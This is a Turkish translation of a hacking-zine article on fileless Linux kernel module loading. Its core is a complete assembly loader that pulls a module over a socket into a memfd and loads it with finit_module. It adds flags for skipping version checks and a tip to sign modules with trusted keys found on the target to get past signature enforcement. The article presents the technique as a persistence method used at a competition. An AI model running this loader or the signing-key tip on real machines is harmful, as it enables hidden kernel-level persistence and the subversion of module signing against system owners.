Hafızada Kernel Modülü Yükleme
~ netspooky

[ Çeviri @batcain tarafından yapılmıştır ]

Geçen yıl Linux çekirdeği üzerinde yapılan değişiklikler sonucu kullandığımız "binary golf" 
metodolojilerinin eskide kalmasıyla yabancı kaynaklardan gelen kernel modüllerini yüklemenin
eğlenceli olabileceğini düşündüm. Bu yaklaşımı için LKM (Linux Kernel Modülü) yükleyicisi
için iki yararlı sistem çağrısını tartışacağız.

───[ Test Modülü Oluşturma ]───────────────────────────────────────────────────

Test için basit bir çekirdek modülü oluşturarark başlayacağız. 
Yapacağı tek şey kernel bufferında mesaj bastırmak olacak.
(dmesg komutuyla gözlemleyebileceğiz)


    // bang.c
    #include <linux/module.h>
    #include <linux/init.h>
    
    MODULE_LICENSE("GPL");
    
    static int __init he(void) {
        printk(KERN_INFO"we out here :}\n");
        return 0;
    }
    
    static void __exit le(void) {
        printk(KERN_INFO"we are no longer out here :{\n");
    }
    
    module_init(he);
    module_exit(le);

Build işlemi için aşağıdaki gibi basit bir Makefile kullanıyoruz:

    obj-m += bang.o
    dir = $(shell uname -rm | sed -e 's/\s/\-/')
    
    all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
    
    strip: all
        strip bang.ko
        mkdir -p $(dir)
        cp -v bang.ko $(dir)/he.ko
    
    load: all
        sudo insmod bang.ko
    
    unload:
        sudo rmmod bang
    
    clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Modülü oluşturmak için `make` komutunu çalıştırmanız yeterli.

42000 portunda çalıştırabilmek için `cat bang.ko | nc -l -lvp 420000` komutunu kullanabilirsiniz.

───[ Yükleyici ]───────────────────────────────────────────────────────────────

Kullanacağımız modül yükleyici epey düz ve sade olacak, ancak ben yine de bu tekniği daha 
sonra geliştirmek üzere öğrenenler için detaylıca anlatıyor olacağım.

Modülü direkt hafızaya indireceğiz. Bunun için önceklikle sunucumuzda(127.0.0.1:42000)
kernel moülünü barındıracak bir soket açıyoruz. Sonrasında hedefte modülü 
indirebilmek için bir memfd dosyası yaratacağız.

memfd_create sistem çağrısı hafızada dosya sistemiyle ilişkisi olmayan geçici dosyalar
oluşturmak için kullanılmaktadır. Bu nedenle programın çalışma süresince kullanılacak
dosyaları oluşturmak için tercih edilen bir çağrıdır, ayrıca geçici olarak dosya 
yolu ve dosya tanımlayıcısı (file descriptor) sağlamaktadır.

/proc/self/fd/4 üzerinden memfd dosyasının çalıştırıldığı örnek kod parçasına şu linkten ulaşabilirsiniz:
  https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100

memfd dosyamızı oluşturduktan sonra, uzak sunucunun soketinden değer okuyup dosya tanımlayıcımızı kullanarak oluşturduğumuz memfd dosyasına yazıyoruz. 

memfd dosyasına yazma işleminin bitmesinin ardından finit_module sistem çağrısını kullanıp dosya tanımlayıcısı aracılığıyla kernel modülümüzü yüklüyoruz.


───[ kl.asm ]───────────────────────────────────────────────────────────────────

;-- 127.0.0.1:42000 Adresinden çekirdek modülünü hafızaya indir ve yükle -------//--
;  __  __ .   __  __  __  __ .  .  . setup:
; |  ||__||_ |__ |__||  ||  ||_/|  |   $ cat somekernelmodule.ko | nc -lvp 42000
; |  ||   |     ||   |o ||o ||\ |__| build:
; |  ||__ |__ __||   |__||__|| \ __|   $ nasm -f elf64 kl.asm ; ld kl.o -o kl
;-------------------------------------------------------------------------------
section .text
global _start
_start:
; socket çağrısı -----------------------------------------------------------------------
; Soket bağlantısını ayarlama
; int socket(int domain, int type, int protocol);
;  rdi = int domain
;  rsi = int type
;  rdx = int protocol 
;-------------------------------------------------------------------------------
  push byte 0x29               ; Soket sistem çağrısını yığına ekle
  pop rax                      ; RAX = Soket sistem çağrısı
  push byte 0x2                ; Domaini ekle: AF_INET
  pop rdi                      ; RDI = AF_INET
  push byte 0x1                ; Soket tipini ekle: SOCK_STREAM
  pop rsi                      ; RSI = SOCK_STREAM
  cdq                          ; RDX = 0
  syscall                      ; Soket sistem çağrısını çalıştır
; connect çağrısı ----------------------------------------------------------------------
; Dosya bufferını kaydetmek için sokete bağlandığımız kısım
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;  rdi = int sockfd
;  rsi = const struct sockaddr *addr
;  rdx = socklen_t addrlen
;-------------------------------------------------------------------------------
  xchg rdi, rax                ; int sockfd
  mov rbx, rdi                 ; Sonrası için sockfd değerini rbx'e kaydet
  mov dword [rsp-4], 0x100007F ; IP adresi   = 127.0.0.1
  mov word  [rsp-6], 0x10A4    ; Port = 42000
  mov byte  [rsp-8], 0x02      ; sockfd
  sub rsp, 8                   ; Line up
  push byte 0x2a               ; Sokete bağlanma sistem çağrısını yığına ekle
  pop rax                      ; RAX = "connect" sistem çağrısı
  mov rsi, rsp                 ; const struct sockaddr *addr
  push byte 0x10               ; boyut
  pop rdx                      ; boyut -> rdx
  syscall                      ; "connect" sistem çağrısını çalıştır
; memfd_create çağrısı ---------------------------------------------------------------
; Soket bufferını kaydetmek için sanal bir dosya oluşturduğumuz kısım
; int memfd_create(const char *name, unsigned int flags);
;  rdi = const char *pathname
;  rsi = int flags
;-------------------------------------------------------------------------------
  mov ax, 0x13f                ; Sistem çağrısı
  push 0x474e4142              ; Sanal dosya adı: BANG (Little Endian dolayısıyla GNAB )
  mov rdi, rsp                 ; Arg0: Dosya adı
  xor rsi, rsi                 ; int flags
  syscall                      ; "memfd_create" çağrısını çalıştır
; read çağrısı -------------------------------------------------------------------------
; Soket bufferını yerel bir dosyaya kaydedebilmek için başka bir buffer ile okuduğumuz kısım
; ssize_t read(socket sockfd,buf,len)
;  rdi = int fd  
;  rsi = void *buf 
;  rdx = size_t count     
;-------------------------------------------------------------------------------
  mov r9, rax                  ; Yerel dosya tanımlayıcısını kaydet
  mov rdx, 0x400               ; size_t count = 1024 byte
rwloop:
  mov rdi, rbx                 ; "sockFD" değerini RDI kaydedicisine taşı
  xor rax, rax                 ; 0 "read" sistem çağrısını temsil ediyor
  lea rsi, [rsp-1024]          ; (output - arg1 *buf) sonuncunu bufferda sakla
  syscall                      ; "read" sistem çağrısını çalıştır
; write çağrısı ------------------------------------------------------------------------
; Soket bufferını yerel dosyaya yazdığımız kısım
; ssize_t sys_write(fd,*buf,count)
;  rdi = int fd  
;  rsi = const *buf 
;  rdx = size_t count     
;-------------------------------------------------------------------------------
  mov rdi, r9                  ; Yazılacak yerel dosyanın tanımlayıcısını kaydet
  mov rdx, rax                 ; RDX = # okunan byteları temsil ediyor, 0 dosya sonu demek
  xor rax, rax                 ; RAX = 0
  mov al, 1                    ; "1" Sistem çağrısının numarasını kaydet
  syscall                      ; "write" çağrısını çalıştır
  cmp dx, 0x400                ; Okunacak byte olup olmadığını kontrol et
  je rwloop                    ; Okunacak byte varsa döngüye devam et
; finit_module -----------------------------------------------------------------
; Dosya tanımlayısı ile çekirdek modülünü yüklediğimiz kısım
; int finit_module(int fd, const char *param_values, int flags);
;  rdi = int fd - The file descriptor
;  rsi = const char *param_values
;  rdx = int flags
;-------------------------------------------------------------------------------
  xor rax, rax                 ; RAX = 0
  push rax                     ; param_values
  mov rsi, rsp                 ; RSI = *param_values
  mov rax, 0x139               ; "finit_module" çağrısını kaydet
  mov rdi, r9                  ; int fd
  xor rdx, rdx                 ; int flags 
  syscall                      ; "finit_module" çağrısını çalıştır
;--- Çıkış ----------------------------------------------------------------------
; void exit(int status);
;  rdi = int status
;-------------------------------------------------------------------------------
  mov rax, 0x3c                ; "exit" sistem çağrısını kaydet
  mov rdi, 0x45                ; Bütünlüğü kontrol edebilmek için 69 değerini döndür
  syscall                      ; Çıkışş

───[ finit_module flags ]───────────────────────────────────────────────────────

Linuxta kernel modülü yüklemek için finit_module sistem çağrısını kullanmak ilginç bir yöntem. 
Normalde, init_module sistem çağrısı hafızadaki bir pointer'dan modül yükleyebiliyor.
Ancak finit_module sistem çağrısı dosya tanımlayıcısıyla modül yüklemek için kullanılabilmekle
beraber, bir modül imajı yüklenirken sistem tarafından yapılan kontrolleri atlatmak için
eşsiz yöntemler sağlıyor. NOT: finit_module çağrısının flag değerleri ancak hedef 
çekirdek build edilirken modülü her koşulda yükleme (force load) özelliği açıksa kullanılabilir olmaktadır.
(detaylar için bir sonraki bölüme bakın)

Geçersiz kılınması gereken flag değerleri include/uapi/linux/module.h dosyasında tanımlanmış
olup "OR" işlemine tabi tutulduktan sonra RDX'te bulunan sistem çağrısı tarafından kullanılmaktadır.

    /* sys_finit_module için flag değerleri: */
    #define MODULE_INIT_IGNORE_MODVERSIONS  1
    #define MODULE_INIT_IGNORE_VERMAGIC     2

MODULE_INIT_IGNORE_MODVERSIONS flag değeri sembollerin versiyon hashlerini, 
MODULE_INIT_IGNORE_VERMAGIC değeri ise kernel versiyonunu belirten byte değerlerini 
gözardı etmek için kullanılmaktadır. Söz konusu flag değerleri modülün kernele yüklenmesi
için kullanılmak zorundadır, yoksa modülün yükleme işlemi başarısız olacaktır. Bu durum kernelde
tanımlanmayan davranış olarak değerlendirilmeye ve kernelin sıkıntı çıkartmasına sebep olabilir,
dolayısıyla bahsettiğimiz flag değerlerini kullanırken dikkatli olun!

finit_module ile modül yükleme aşağıda belirttiğim gibi tanımlanmaktadır:

  ..kernel modülünün güvenilirliği modülün dosya sistemindeki yerinden yola çıkılarak belirlenemiyorsa; 
  mümkün olduğu takdirde, modülün özgünlüğünü doğrulamak için kriptografik olarak imzalanmış modülleri
  kullanma zorunluluğu gözardı edilebilir.

  - man 2 finit_module

───[ Determining Compatibility ]────────────────────────────────────────────────

Kernel modülü yükleme işlemindeki zorlu kısım, kimi modüllerin çalıştırılması ya da 
çalıştırılmamasına neden olan farklı konfigürasyonların bulunmasından ya da modülü
çekirdeğe yüklemede kullanılan yollardan kaynaklanmaktadır. Aşağıda modülünüzü 
yüklemeden önce bilmeniz gereken birkaç tane kernel konfigürasyonuna yer verdim.

::: CONFIG_MODVERSIONS :::

Bu flag değeri aktive edildiğinde (CONFIG_MODVERSIONS=y) farklı çekirdekler
için derlenmiş kernel modüllerini yükleyebilirsiniz. 

Kontrol etmek için: 

  $ grep CONFIG_MODVERSIONS /boot/config-KERNELVERSIYONUNUZ
  CONFIG_MODVERSIONS=y

Daha fazla bilgi için: https://cateee.net/lkddb/web-lkddb/MODVERSIONS.html

::: CONFIG_MODULE_SIG_FORCE :::

Bu flag değeri aktive edilmişse imzalanmamış modülleri yükleyemezsiniz.

Kontrol etmek için:

  $ grep CONFIG_MODULE_SIG_FORCE /boot/config-KERNELVERSIYONUNUZ
  # CONFIG_MODULE_SIG_FORCE açık değil

Daha fazla bilgi için: https://cateee.net/lkddb/web-lkddb/MODULE_SIG_FORCE.html

PROTIP: Hedeflediğiniz sistem için sisteminizde normalde bulunan güvenilir anahtarları araştırıp kullanabilirsiniz.

Örneğin;

  /var/lib/shim-signed/mok/MOK.priv & /var/lib/shim-signed/mok/MOK.der 
  /usr/src/LINUX/certs/signing_key.pem & /usr/src/LINUX/certs/signing_key.x509

::: CONFIG_MODULE_FORCE_LOAD :::

Bu konfigürasyonun aktif olması durumunda versiyon bilgisine gerek duymadan modülünüzü
yükleyebilirsiniz. Eğer finit_module çağrısı için flag değerlerini kullanacaksanız bu
konfigürasyon mutlaka aktif olmalıdır. Şayet açık değilse ancak yine de finit_module
flag değerlerini kullanarak versiyon bilgisini görmezden gelmeye çalışırsanız, ENOEXEC
hatası verecektir. 

Kontrol etmek için: 

  $ grep CONFIG_MODULE_FORCE_LOAD /boot/config-YOURKERNELVERSION
  # CONFIG_MODULE_FORCE_LOAD açık değil

Daha fazla bilgi için: https://cateee.net/lkddb/web-lkddb/MODULE_FORCE_LOAD.html

───[ .fini ]────────────────────────────────────────────────────────────────────

Bu tekniği ufak kernel modüllerini denerken ve yükleyicileri test ederken kullanıyorduk. 
Benzer şekilde, WRCCDC esnasında tek satırlık bir komutla aynı konfigürasyona sahip 
birden fazla makinede kalıcılık sağlamak için kullanılmıştı. 

Bahsettiğimiz bu teknik bir kernel modülü yüklemek için kullanılan birçok yöntemden yalnızca biri.
Hala keşfedecek çok şey var, ve umuyorum ki bu yazı size bir şeylerle uğraşmak için ilham vermiştir!

Buradan tmp.0ut, thugcrowd, vxug ve tcpd topluluklarındaki herkese selam yolluyorum.

Bu arada tmp.0ut'un yeni sayılarında çıkacak "ELF Binary Mangling" makalesine bakmayı unutmayın!